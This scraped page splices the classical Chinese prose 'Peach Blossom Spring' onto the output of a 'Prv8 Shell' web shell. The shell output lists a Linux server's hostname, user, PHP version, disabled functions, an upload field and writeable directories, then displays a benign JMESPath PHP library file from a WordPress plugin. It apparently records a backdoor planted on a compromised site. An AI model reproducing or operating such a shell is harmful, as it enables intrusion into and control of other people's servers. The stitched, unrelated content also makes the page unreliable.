晋太元中，武陵人捕鱼为业。缘溪行，忘路之远近。忽逢桃花林，夹岸数百步，中无杂树，芳草鲜美，落英缤纷。渔人甚异之，复前行，欲穷其林。 　　林尽水源，便得一山，山有小口，仿佛若有光。便舍船，从口入。初极狭，才通人。复行数十步，豁然开朗。土地平旷，屋舍俨然，有良田、美池、桑竹之属。阡陌交通，鸡犬相闻。其中往来种作，男女衣着，悉如外人。黄发垂髫，并怡然自乐。 　　见渔人，乃大惊，问所从来。具答之。便要还家，设酒杀鸡作食。村中闻有此人，咸来问讯。自云先世避秦时乱，率妻子邑人来此绝境，不复出焉，遂与外人间隔。问今是何世，乃不知有汉，无论魏晋。此人一一为具言所闻，皆叹惋。余人各复延至其家，皆出酒食。停数日，辞去。此中人语云：“不足为外人道也。”(间隔 一作：隔绝) 　　既出，得其船，便扶向路，处处志之。及郡下，诣太守，说如此。太守即遣人随其往，寻向所志，遂迷，不复得路。 　　南阳刘子骥，高尚士也，闻之，欣然规往。未果，寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/stando/public_html/wp-content/plugins/w3-total-cache/lib/Aws/JmesPath/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //home/stando/public_html/wp-content/plugins/w3-total-cache/lib/Aws/JmesPath/CompilerRuntime.php
<?php
namespace JmesPath;

/**
 * Compiles JMESPath expressions to PHP source code and executes it.
 *
 * JMESPath file names are stored in the cache directory using the following
 * logic to determine the filename:
 *
 * 1. Start with the string "jmespath_"
 * 2. Append the MD5 checksum of the expression.
 * 3. Append ".php"
 */
class CompilerRuntime
{
    private $parser;
    private $compiler;
    private $cacheDir;
    private $interpreter;

    /**
     * @param string $dir Directory used to store compiled PHP files.
     * @param Parser $parser JMESPath parser to utilize
     * @throws \RuntimeException if the cache directory cannot be created
     */
    public function __construct($dir = null, Parser $parser = null)
    {
        $this->parser = $parser ?: new Parser();
        $this->compiler = new TreeCompiler();
        $dir = $dir ?: sys_get_temp_dir();

        if (!is_dir($dir) && !mkdir($dir, 0755, true)) {
            throw new \RuntimeException("Unable to create cache directory: $dir");
        }

        $this->cacheDir = realpath($dir);
        $this->interpreter = new TreeInterpreter();
    }

    /**
     * Returns data from the provided input that matches a given JMESPath
     * expression.
     *
     * @param string $expression JMESPath expression to evaluate
     * @param mixed  $data       Data to search. This data should be data that
     *                           is similar to data returned from json_decode
     *                           using associative arrays rather than objects.
     *
     * @return mixed|null Returns the matching data or null
     * @throws \RuntimeException
     */
    public function __invoke($expression, $data)
    {
        $functionName = 'jmespath_' . md5($expression);

        if (!function_exists($functionName)) {
            $filename = "{$this->cacheDir}/{$functionName}.php";
            if (!file_exists($filename)) {
                $this->compile($filename, $expression, $functionName);
            }
            require $filename;
        }

        return $functionName($this->interpreter, $data);
    }

    private function compile($filename, $expression, $functionName)
    {
        $code = $this->compiler->visit(
            $this->parser->parse($expression),
            $functionName,
            $expression
        );

        if (!file_put_contents($filename, $code)) {
            throw new \RuntimeException(sprintf(
                'Unable to write the compiled PHP code to: %s (%s)',
                $filename,
                var_export(error_get_last(), true)
            ));
        }
    }
}

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